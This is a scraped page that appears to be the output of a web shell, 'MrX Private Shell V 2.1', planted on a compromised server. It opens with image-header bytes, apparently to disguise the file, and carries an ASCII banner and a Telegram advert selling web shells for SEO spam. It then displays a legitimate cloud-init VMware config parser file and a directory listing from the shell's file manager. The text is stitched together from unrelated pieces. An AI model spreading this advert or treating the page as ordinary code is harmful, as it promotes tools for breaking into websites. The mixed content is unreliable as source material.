����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright (C) 2015 Canonical Ltd.
# Copyright (C) 2015 VMware Inc.
#
# Author: Sankar Tanguturi <stanguturi@vmware.com>
#
# This file is part of cloud-init. See LICENSE file for license information.
import configparser
import logging
from cloudinit.sources.helpers.vmware.imc.config_source import ConfigSource
logger = logging.getLogger(__name__)
class ConfigFile(ConfigSource, dict):
"""ConfigFile module to load the content from a specified source."""
def __init__(self, filename):
self._loadConfigFile(filename)
def _insertKey(self, key, val):
"""
Inserts a Key Value pair.
Keyword arguments:
key -- The key to insert
val -- The value to insert for the key
"""
key = key.strip()
val = val.strip()
if key.startswith("-") or "|-" in key:
canLog = False
else:
canLog = True
# "sensitive" settings shall not be logged
if canLog:
logger.debug("ADDED KEY-VAL :: '%s' = '%s'", key, val)
else:
logger.debug("ADDED KEY-VAL :: '%s' = '*****************'", key)
self[key] = val
def _loadConfigFile(self, filename):
"""
Parses properties from the specified config file.
Any previously available properties will be removed.
Sensitive data will not be logged in case the key starts
from '-'.
Keyword arguments:
filename - The full path to the config file.
"""
logger.info("Parsing the config file %s.", filename)
config = configparser.ConfigParser()
config.optionxform = str
config.read(filename)
self.clear()
for category in config.sections():
logger.debug("FOUND CATEGORY = '%s'", category)
for key, value in config.items(category):
self._insertKey(category + "|" + key, value)
def get_count_with_prefix(self, prefix):
"""
Return the total count of keys that start with the specified prefix.
Keyword arguments:
prefix -- prefix of the key
"""
return len([key for key in self if key.startswith(prefix)])
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| boot_proto.py | File | 308 B | 0644 |
|
| config.py | File | 4.42 KB | 0644 |
|
| config_custom_script.py | File | 3.03 KB | 0644 |
|
| config_file.py | File | 2.15 KB | 0644 |
|
| config_nic.py | File | 8.27 KB | 0644 |
|
| config_passwd.py | File | 2.37 KB | 0644 |
|
| config_source.py | File | 276 B | 0644 |
|
| guestcust_error.py | File | 411 B | 0644 |
|
| guestcust_event.py | File | 461 B | 0644 |
|
| guestcust_state.py | File | 358 B | 0644 |
|
| guestcust_util.py | File | 19.99 KB | 0644 |
|
| nic.py | File | 3.21 KB | 0644 |
|
| nic_base.py | File | 3.78 KB | 0644 |
|